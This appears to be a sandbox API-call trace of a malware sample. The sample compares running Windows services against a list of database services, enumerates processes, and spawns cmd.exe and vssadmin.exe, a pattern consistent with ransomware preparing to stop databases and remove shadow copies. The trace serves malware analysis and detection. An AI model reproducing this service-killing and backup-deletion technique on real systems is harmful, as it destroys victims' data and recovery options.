	[0177.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0177.783] lstrlenW (lpString="RpcSs") returned 5
	[0177.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0177.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0177.783] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0177.783] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0177.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0177.783] lstrlenW (lpString="SamSs") returned 5
	[0177.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0177.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0177.783] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0177.784] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0177.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0177.784] lstrlenW (lpString="Schedule") returned 8
	[0177.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0177.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0177.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0177.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0177.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0177.784] lstrlenW (lpString="SecurityHealthService") returned 21
	[0177.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0177.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0177.784] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0177.784] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0177.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0177.784] lstrlenW (lpString="SENS") returned 4
	[0177.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0177.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0177.785] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0177.785] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0177.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0177.785] lstrlenW (lpString="ShellHWDetection") returned 16
	[0177.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0177.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0177.785] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0177.785] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0177.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0177.785] lstrlenW (lpString="Spooler") returned 7
	[0177.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0177.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0177.785] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0177.785] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0177.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0177.785] lstrlenW (lpString="StateRepository") returned 15
	[0177.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0177.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0177.785] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0177.785] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0177.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0177.786] lstrlenW (lpString="SysMain") returned 7
	[0177.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0177.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0177.786] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0177.786] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0177.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0177.786] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0177.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0177.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0177.786] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0177.786] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0177.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0177.786] lstrlenW (lpString="Themes") returned 6
	[0177.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0177.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0177.786] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0177.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0177.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0177.787] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0177.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0177.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0177.787] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0177.787] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0177.787] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0177.787] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x548
	[0177.795] Process32FirstW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0177.795] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0177.796] lstrlenW (lpString="System") returned 6
	[0177.796] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0177.797] lstrlenW (lpString="smss.exe") returned 8
	[0177.797] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0177.797] lstrlenW (lpString="csrss.exe") returned 9
	[0177.798] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0177.798] lstrlenW (lpString="wininit.exe") returned 11
	[0177.798] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0177.799] lstrlenW (lpString="csrss.exe") returned 9
	[0177.799] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0177.799] lstrlenW (lpString="winlogon.exe") returned 12
	[0177.800] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0177.800] lstrlenW (lpString="services.exe") returned 12
	[0177.800] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0177.801] lstrlenW (lpString="lsass.exe") returned 9
	[0177.801] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0177.801] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0177.802] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0177.802] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0177.802] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.803] lstrlenW (lpString="svchost.exe") returned 11
	[0177.803] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.803] lstrlenW (lpString="svchost.exe") returned 11
	[0177.803] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0177.804] lstrlenW (lpString="dwm.exe") returned 7
	[0177.804] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.805] lstrlenW (lpString="svchost.exe") returned 11
	[0177.805] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.806] lstrlenW (lpString="svchost.exe") returned 11
	[0177.806] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.806] lstrlenW (lpString="svchost.exe") returned 11
	[0177.806] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.807] lstrlenW (lpString="svchost.exe") returned 11
	[0177.807] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.808] lstrlenW (lpString="svchost.exe") returned 11
	[0177.808] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.808] lstrlenW (lpString="svchost.exe") returned 11
	[0177.808] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.809] lstrlenW (lpString="svchost.exe") returned 11
	[0177.809] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.810] lstrlenW (lpString="svchost.exe") returned 11
	[0177.810] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.810] lstrlenW (lpString="svchost.exe") returned 11
	[0177.810] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.811] lstrlenW (lpString="svchost.exe") returned 11
	[0177.811] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0177.811] lstrlenW (lpString="spoolsv.exe") returned 11
	[0177.812] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.812] lstrlenW (lpString="svchost.exe") returned 11
	[0177.812] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0177.813] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0177.813] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0177.813] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0177.813] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0178.266] lstrlenW (lpString="audiodg.exe") returned 11
	[0178.266] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0178.267] lstrlenW (lpString="Memory Compression") returned 18
	[0178.267] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0178.267] lstrlenW (lpString="taskhostw.exe") returned 13
	[0178.267] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0178.268] lstrlenW (lpString="sihost.exe") returned 10
	[0178.268] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.269] lstrlenW (lpString="svchost.exe") returned 11
	[0178.269] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0178.269] lstrlenW (lpString="taskhostw.exe") returned 13
	[0178.269] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0178.270] lstrlenW (lpString="explorer.exe") returned 12
	[0178.270] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0178.271] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0178.271] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0178.271] lstrlenW (lpString="SearchUI.exe") returned 12
	[0178.271] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0178.272] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0178.272] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0178.273] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0178.273] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0178.273] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0178.274] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0178.274] lstrlenW (lpString="cmd.exe") returned 7
	[0178.274] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0178.275] lstrlenW (lpString="conhost.exe") returned 11
	[0178.275] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0178.276] lstrlenW (lpString="vssadmin.exe") returned 12
	[0178.276] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0178.276] lstrlenW (lpString="consent.exe") returned 11
	[0178.276] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0178.277] CloseHandle (hObject=0x548) returned 1
	[0178.277] Sleep (dwMilliseconds=0x1f4) 
	[0179.147] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929c00
	[0179.148] EnumServicesStatusExW (in: hSCManager=0x3929c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0179.149] GetLastError () returned 0xea
	[0179.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x40b0028
	[0179.150] EnumServicesStatusExW (in: hSCManager=0x3929c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40b0028, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40b0028, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0179.152] CloseServiceHandle (hSCObject=0x3929c00) returned 1
	[0179.152] lstrlenW (lpString="Appinfo") returned 7
	[0179.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0179.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0179.152] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0179.152] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0179.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0179.152] lstrlenW (lpString="AppXSvc") returned 7
	[0179.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0179.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0179.153] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0179.153] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0179.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0179.153] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0179.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0179.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0179.154] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0179.154] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0179.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0179.154] lstrlenW (lpString="Audiosrv") returned 8
	[0179.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0179.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0179.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0179.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0179.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0179.154] lstrlenW (lpString="BFE") returned 3
	[0179.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0179.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0179.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0179.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0179.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0179.154] lstrlenW (lpString="BrokerInfrastructure") returned 20
